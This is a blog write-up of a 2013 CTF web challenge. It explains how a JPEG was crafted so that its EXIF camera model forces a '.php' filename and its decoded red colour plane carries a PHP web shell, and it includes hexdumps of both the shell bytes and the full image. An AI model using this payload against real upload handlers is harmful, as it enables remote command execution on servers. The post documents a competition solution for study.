codezen.fr code hacking, zen coding

17Mar/13Off

ForbidenBits CTF 2013 – Web 600 IMAFREAK Write-up

This is a quick post to give my solution for the IMAFREAK challenge.

What you need to succeed:
- A JPEG file with EXIF CameraModel tag sets to ".php" so that the file is created with filename secretstoreddata/.php
- Same JPEG file with the *RAW* Red plane containing a PHP shell

As you have understood, controlling the RAW output for a color plane is quite of hard as you can't really predict how the JPEG compression model will react to your input values.

So at first, I wrote a bruteforcer that would fuzz the RGB values of input pixels until it matched what I wanted but it was really slow. I ended up manually tuning many of those values for the perfect result (=spend many hours starring in an hex editor)

So here is the beast:

red-cmd-46

Zoomed:

zoom-red-46

I swear I will make a tshirt out of this one.

Lets check that the CameralTag tag contains ".php":

$ exiftool red-cmd-46.jpg
ExifTool Version Number         : 8.15
File Name                       : red-cmd-46.jpg
Directory                       : .
File Size                       : 921 bytes
File Modification Date/Time     : 2013:03:16 21:59:41+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Camera Model Name               : .php
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100000000.
Image Width                     : 32
Image Height                    : 1
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 32x1

Quality is over nine thousand of course.

How does the RAW Red plane looks after JPEG decoding ?

$ hexdump -C d09bf41544a3365a46c9077ebb5e35c3
00000000  3c 3f 50 48 50 20 53 59  53 54 45 4d 28 24 5f 47  |<?PHP SYSTEM($_G|
00000010  45 54 5b 30 5d 29 3b 3f  3e 03 01 00 00 00 00 00  |ET[0]);?>.......|

The full JPEG hexdump:

$ hexdump -C red-cmd-46.jpg
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |ÿØÿà..JFIF......|
00000010  00 01 00 00 ff e1 00 68  45 78 69 66 00 00 4d 4d  |....ÿá.hExif..MM|
00000020  00 2a 00 00 00 08 00 05  01 10 00 02 00 00 00 05  |.*..............|
00000030  00 00 00 4a 01 1a 00 05  00 00 00 01 00 00 00 50  |...J...........P|
00000040  01 1b 00 05 00 00 00 01  00 00 00 58 01 28 00 03  |...........X.(..|
00000050  00 00 00 01 00 01 00 00  02 13 00 03 00 00 00 01  |................|
00000060  00 01 00 00 00 00 00 00  2e 70 68 70 00 00 00 00  |.........php....|
00000070  00 01 00 00 00 01 00 00  00 01 00 00 00 01 ff fe  |..............ÿþ|
00000080  00 42 43 52 45 41 54 4f  52 3a 20 67 64 2d 6a 70  |.BCREATOR: gd-jp|
00000090  65 67 20 76 31 2e 30 20  28 75 73 69 6e 67 20 49  |eg v1.0 (using I|
000000a0  4a 47 20 4a 50 45 47 20  76 36 32 29 2c 20 71 75  |JG JPEG v62), qu|
000000b0  61 6c 69 74 79 20 3d 20  31 30 30 30 30 30 30 30  |ality = 10000000|
000000c0  30 0a ff db 00 43 00 01  01 01 01 01 01 01 01 01  |0.ÿÛ.C..........|
000000d0  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000100  01 01 01 01 01 01 01 ff  db 00 43 01 01 01 01 01  |.......ÿÛ.C.....|
00000110  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000140  01 01 01 01 01 01 01 01  01 01 01 01 ff c0 00 11  |............ÿÀ..|
00000150  08 00 01 00 20 03 01 22  00 02 11 01 03 11 01 ff  |.... ..".......ÿ|
00000160  c4 00 1f 00 00 01 05 01  01 01 01 01 01 00 00 00  |Ä...............|
00000170  00 00 00 00 00 01 02 03  04 05 06 07 08 09 0a 0b  |................|
00000180  ff c4 00 b5 10 00 02 01  03 03 02 04 03 05 05 04  |ÿÄ.µ............|
00000190  04 00 00 01 7d 01 02 03  00 04 11 05 12 21 31 41  |....}........!1A|
000001a0  06 13 51 61 07 22 71 14  32 81 91 a1 08 23 42 b1  |..Qa."q.2..¡.#B±|
000001b0  c1 15 52 d1 f0 24 33 62  72 82 09 0a 16 17 18 19  |Á.RÑð$3br.......|
000001c0  1a 25 26 27 28 29 2a 34  35 36 37 38 39 3a 43 44  |.%&'()*456789:CD|
000001d0  45 46 47 48 49 4a 53 54  55 56 57 58 59 5a 63 64  |EFGHIJSTUVWXYZcd|
000001e0  65 66 67 68 69 6a 73 74  75 76 77 78 79 7a 83 84  |efghijstuvwxyz..|
000001f0  85 86 87 88 89 8a 92 93  94 95 96 97 98 99 9a a2  |...............¢|
00000200  a3 a4 a5 a6 a7 a8 a9 aa  b2 b3 b4 b5 b6 b7 b8 b9  |£¤¥¦§¨©ª²³´µ¶·¸¹|
00000210  ba c2 c3 c4 c5 c6 c7 c8  c9 ca d2 d3 d4 d5 d6 d7  |ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×|
00000220  d8 d9 da e1 e2 e3 e4 e5  e6 e7 e8 e9 ea f1 f2 f3  |ØÙÚáâãäåæçèéêñòó|
00000230  f4 f5 f6 f7 f8 f9 fa ff  c4 00 1f 01 00 03 01 01  |ôõö÷øùúÿÄ.......|
00000240  01 01 01 01 01 01 01 00  00 00 00 00 00 01 02 03  |................|
00000250  04 05 06 07 08 09 0a 0b  ff c4 00 b5 11 00 02 01  |........ÿÄ.µ....|
00000260  02 04 04 03 04 07 05 04  04 00 01 02 77 00 01 02  |............w...|
00000270  03 11 04 05 21 31 06 12  41 51 07 61 71 13 22 32  |....!1..AQ.aq."2|
00000280  81 08 14 42 91 a1 b1 c1  09 23 33 52 f0 15 62 72  |...B.¡±Á.#3Rð.br|
00000290  d1 0a 16 24 34 e1 25 f1  17 18 19 1a 26 27 28 29  |Ñ..$4á%ñ....&'()|
000002a0  2a 35 36 37 38 39 3a 43  44 45 46 47 48 49 4a 53  |*56789:CDEFGHIJS|
000002b0  54 55 56 57 58 59 5a 63  64 65 66 67 68 69 6a 73  |TUVWXYZcdefghijs|
000002c0  74 75 76 77 78 79 7a 82  83 84 85 86 87 88 89 8a  |tuvwxyz.........|
000002d0  92 93 94 95 96 97 98 99  9a a2 a3 a4 a5 a6 a7 a8  |.........¢£¤¥¦§¨|
000002e0  a9 aa b2 b3 b4 b5 b6 b7  b8 b9 ba c2 c3 c4 c5 c6  |©ª²³´µ¶·¸¹ºÂÃÄÅÆ|
000002f0  c7 c8 c9 ca d2 d3 d4 d5  d6 d7 d8 d9 da e2 e3 e4  |ÇÈÉÊÒÓÔÕÖ×ØÙÚâãä|
00000300  e5 e6 e7 e8 e9 ea f2 f3  f4 f5 f6 f7 f8 f9 fa ff  |åæçèéêòóôõö÷øùúÿ|
00000310  da 00 0c 03 01 00 02 11  03 11 00 3f 00 fc 10 d0  |Ú..........?.ü.Ð|
00000320  7f e3 e3 e1 97 fd 8d 73  7f ea 1f f1 2a a2 f1 07  |.ããá.ý.s.ê.ñ*¢ñ.|
00000330  fc 95 1f 04 7f d7 8f c4  ef fd 56 e9 45 15 fc eb  |ü....×.ÄïýVéE.üë|
00000340  0f f7 ac 17 fd 93 b9 f7  fe ad 33 83 d6 7f 0c ff  |.÷¬.ý.¹÷þ­3.Ö..ÿ|
00000350  00 eb f5 2f fd 37 44 e5  fe 24 7d cf 0a 7f dd 3a  |.ëõ/ý7Dåþ$}Ï..Ý:|
00000360  ff 00 d3 7f c6 6a fc 53  f8 9d ff 00 25 27 e2 17  |ÿ.Ó.ÆjüSø.ÿ.%'â.|
00000370  fd 8f 1e 2c ff 00 d3 f6  a1 45 15 fd 3f 9c ff 00  |ý..,ÿ.Óö¡E.ý?.ÿ.|
00000380  c8 d7 37 ff 00 b0 fa 3f  fa aa cb cd 33 3f f7 7c  |È×7ÿ.°ú?úªËÍ3?÷||
00000390  37 f8 aa 7f e9 75 0f ff  d9                       |7øª.éu.ÿÙ|
Share

Posted by aXs

Comments (0) Trackbacks (0)

Sorry, the comment form is closed at this time.

Trackbacks are disabled.